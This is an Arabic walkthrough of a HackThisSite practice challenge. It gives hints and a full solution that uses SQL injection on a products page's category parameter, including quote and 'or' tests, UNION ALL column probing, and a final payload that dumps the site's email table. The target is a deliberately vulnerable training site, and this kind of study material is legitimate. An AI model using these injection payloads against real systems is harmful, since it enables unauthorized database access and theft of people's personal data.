المرحلة: Realistic Level: 4 (Fischer’s Animal Products)

الصعوبة: معتدلة

الرابط: https://www.hackthissite.org/playlevel/4/

المهمة: موقع لبيع الملابس الفارهة. هذا الموقع تملكه شركة تقوم بقتل الحيوانات لتصنع ملابس باهظة الثمن. ساعد جميعات حقوق الحيوان من خلال الحصول على عناوين البريد الإلكتروني للمشاركين في الموقع.

 

الرسالة: مرحبا، نصحني أحد أصدقائي بالحديث إليك بخصوص موقع إلكتروني تملكه شركة تقتل مئات من الحيوانات كل يوم. دخلت على موقعهم الإلكتروني ورأيت أنهم يمتلكون قائمة بعناوين البريد الإلكتروني لزبائنهم. هل بإمكانك الحصول عليها لأرسل لهم رسالة لأخبرهم ما يتسببون به من قتل لآلاف الحيوانات! إذا حصلت على القائمة أرسلها لي من فضلك. هذا هو موقهم: http://www.hackthissite.org/missions/realistic/4/

 

* إذا قمت بالحصول على قائمة العناوين الإلكترونية أرسلها من خلال الرسائل الداخلية في موقع hackthissite.org لـ SaveTheWhales

 

اذهب الآن وحاول أن تحل المشكلة. لا تتعدى هذه النقطة إذا كنت تريد حل التحدي بنفسك..


 

التلميح الأول:

هل جربت إدخال بريد إلكتروني لا يحتوي على “@”! مالرسالة التي ترى؟

 

التلميح الثاني:

هل جربت SQL Injection على صفحة

products.php?category=

 

التلميح الثالث:

هل تعلم كيف تستخدم UNION ALL لدمج أكثر من Query ؟

 

الحل:

أول ما يلفت انتباهك عند دخولك إلى الموقع هو بريدهم الإلكتروني، أدخل بريدا إلكترونيا وهميا لترى الرسالة التي تظهر. لا شئ مثير للإهتمام.. جرب الآن إدخال بريد خاطئ! ستظهر لك هذه الرسالة:

Error inserting into table “email”! Email not valid! Please contact an administrator of Fischer’s

نعرف الآن أن الموقع يستخدم قاعدة بيانات، وأن اسم الجدول الذي نريد هو: email

دعنا نشاهد بقية الموقع. سيثير انتباهك إمكانية استخدام SQL Injection في صفحة products.php?category=

لنجرب إدخال (') بعد =1 مثلا، ليصبح الرابط:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1′

 


صورة معطوبة! مثير للإهتمام. دعنا نجرب عرض 1 و 2 معا، من خلال استخدام or ليكون الرابط:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 or 2

ظهرت المنتجات كلها! إذن كان ظننا في محله. لنجرب UNION ALL لإظهار الإيميلات ايضا، سيكون الرابط بهذا الشكل:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all  select 1,2,*,4 from email;/*

 

أخيرا، أرسل جميع هذه الإيميلات باستخدام نظام الرسائل داخل موقع hackthissite.org إلى: SaveTheWhales

 

ملحق:

لماذا لم نجرب SQL Injection في خانة البريد الإلكتروني؟

تستطيع هذا، ولكن تذكر أن مهمتك هي الحصول على البريد الإلكتروني للمشتركين. هذه الصفحة لا تقوم بإرجاع النتائج إليك، كل ما تقوم به هو إعلامك إذا كان هناك خطأ أو أن البريد قد تم إضافته. لن تستفيد كثيرًا من الـ SQL Injection في هذه الحالة.

 

ما هي UNION ALL، ولماذا توقفت عند 4؟ ولماذا اخترت الخانة الثالثة لتضع بها الـ * ؟

UNION ALL هي طريقة لجمع 2 Quiries لتكون واحدة بشرط تساوي عدد الـ colums. الطريقة التي اتبعتها هو تجربة عدد الخانات من 1 حتى 4 تباعا حتى ظهر لي الناتج الصحيح. لتكون الروابط هكذا:

 

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all  select 1;/*

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all  select 1,2;/*

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all  select 1,2,3;/*

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 union all  select 1,2,3,4;/*

لن يظهر لك أي نتيجة صحيحة سوى في الرابط الأخير. ستلاحظ أيضا أن الرقم 2 و 3 يظهران بشكل واضح في الصفحة، تستطيع إذا استخدام أحدهما لعرض نتيجة بحثك التي تريد فيها.